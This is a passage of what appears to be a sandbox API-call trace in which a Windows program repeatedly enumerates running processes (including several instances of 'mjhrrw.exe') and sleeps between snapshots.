cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0235.486] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0235.486] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0235.487] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0235.487] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.488] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.489] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0235.489] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.490] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.490] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.491] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.491] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.538] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.538] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.539] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.540] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.540] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.541] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0235.542] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.542] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0235.543] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0235.544] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0235.545] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0235.545] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0235.546] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.547] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0235.547] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0235.548] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0235.549] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0235.549] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0235.550] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0235.551] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0235.551] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0235.552] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0235.553] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0235.553] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0235.554] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.555] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0235.555] CloseHandle (hObject=0x384) returned 1 [0235.555] Sleep (dwMilliseconds=0x1f4) [0236.562] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x380 [0236.583] Process32FirstW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0236.583] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0236.584] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0236.584] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0236.585] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0236.586] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0236.586] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0236.587] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0236.589] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0236.589] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0236.590] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0236.590] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.591] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.592] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0236.593] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.593] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.594] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.594] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.596] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.596] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.597] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.597] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.598] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.598] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.599] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0236.599] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.600] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0236.600] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0236.601] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0236.601] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0236.602] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0236.602] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.603] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0236.603] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0236.604] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0236.604] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0236.605] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0236.605] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0236.623] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0236.623] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0236.624] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0236.624] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0236.625] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0236.625] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.626] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0236.803] CloseHandle (hObject=0x380) returned 1 [0236.803] Sleep (dwMilliseconds=0x1f4) [0237.513] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x354 [0237.557] Process32FirstW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, 